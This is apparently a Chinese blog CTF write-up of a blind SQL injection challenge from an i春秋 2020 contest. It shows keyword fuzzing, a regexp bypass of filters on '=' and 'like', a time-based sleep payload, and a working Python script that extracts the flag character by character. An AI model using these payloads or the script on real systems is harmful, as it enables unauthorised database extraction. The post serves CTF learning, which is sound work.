User-Profile-Image
hankin
  • 5
请到[后台->外观->菜单]中设置菜单。
  • 分类
    • 靶机渗透
    • 计算机小技巧
    • 未分类
    • 数据结构
    • 内网渗透
    • 代码审计
    • XSS
    • WEB安全漏洞学习
    • Web
    • python
    • PHP
    • NodeJS
    • MYSQL
    • Misc
    • JavaScript
    • Docker
    • CTF相关知识点
    • CTFWP
    • Crypto
    • Cobalt Strike
  • 页面
  • 友链
    • 三哥的博客
    • Root师傅的博客
    • EDS师傅的博客
    • 天正哥的博客
    • 天尘翼师傅的博客
    • 熵增师傅的github
    • 信仰的博客
    • Jadore的博客
Help?

Please contact us on our email for need any support

Support
    首页   ›   CTFWP   ›   正文
CTFWP

盲注(i春秋2020新春公益赛)

2020-02-25 22:28:34
60  0 0

考点:时间盲注,过滤“=,like”,用regexp绕过

拿到题目,给出源码可以审计,看到flag在fl4g表中,又看到include 了一个waf文件,说明有过滤,因此我们首先fuzz出过滤了哪些关键字

手动fuzz在id=后面修改关键字,如果被过滤页面返回空,没被过滤正常回显代码http://eb1fbd8a51ca47049cf0cf0715c72cad988d15a52911454f.changame.ichunqiu.com/?id=union

不断fuzz尝试后发现过滤了’ union select < > = like

发现不仅过滤了=,又过滤了like,那么我们可以想到用regexp代替

前提学习下regexp用法:

用法介绍:select user() regexp “^[a-z]”;

首先查询当前用户,可以看到是root@localhost

接下来我们使用regexp语法进行查询

我们可以看到,这样不对位数做限制,只要按顺序存在对应字母,就会返回1,否则为0。

因此我们可以搭配if语句对数据库中信息进行查询。

这里注意regexp不能搭配limit使用,只是对内容进行提取。

like的用法与其类似 select user() like “ro%”;

接下来回到题目中

因为题目告诉flag在fl4g那个表中,所以我们猜测第一个字符是f,如果是的话延时3秒返回代码页面

?id=-1 or if((substr((fl4g),1,1) regexp “^f”), sleep(3),1)

测试成功,延时3秒,接下来写个脚本

import requests
import time

url = "http://8aa7aedeb17d45a28ac9dc0295992849b9dea7963da2471d.changame.ichunqiu.com/?id=-1"
alphabet = ['?','!',',','|','[',']','{','}','_','/','*','-','+','&',"%",'#','@','$','~','a','b','c','d','e','f','j','h','i','g','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z','A','B','C','D','E','F','G','H','I','G','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z','0','1','2','3','4','5','6','7','8','9']

target = 'fl4g'
result = ''
for i in range (1,33):
    for char in alphabet:
        # 设置payload
        payload =' or if((substr(({}),{},1) regexp "^{}"),sleep(3),1)'.format(target, i, char)
        print(payload)
        # 计算响应时长
        start = int(time.time())
        r = requests.get(url+payload)
        response_time = int(time.time()) - start

        if response_time >= 2:
            result += char
            print('Found: {}'.format(result))
            break

​最后获得flag

评论 (0)

点击这里取消回复。

欢迎您 游客  

近期文章
  • SUCTF 2019 Guess_game
  • Python pickle反序列化
  • [安洵杯 2019]easy_serialize_php
  • Session反序列化
  • 原生类序列化
近期评论
    文章归档
    • 2021年1月
    • 2020年12月
    • 2020年11月
    • 2020年9月
    • 2020年7月
    • 2020年6月
    • 2020年5月
    • 2020年4月
    • 2020年3月
    • 2020年2月
    • 2020年1月
    分类目录
    • Cobalt Strike
    • Crypto
    • CTFWP
    • CTF相关知识点
    • Docker
    • JavaScript
    • Misc
    • MYSQL
    • NodeJS
    • PHP
    • python
    • Web
    • WEB安全漏洞学习
    • XSS
    • 代码审计
    • 内网渗透
    • 数据结构
    • 未分类
    • 计算机小技巧
    • 靶机渗透
    功能
    • 登录
    • 项目feed
    • 评论feed
    • WordPress.org
    分类目录
    Copyright © 2021 网站备案号: 蒙ICP备20000552号-1
    smarty_hankin 主题. Designed by hankin
    主页
    页面
    博主
    purplet 管理员
    努力并有所方向
    157 文章 0 评论 20279 浏览
    测试
    测试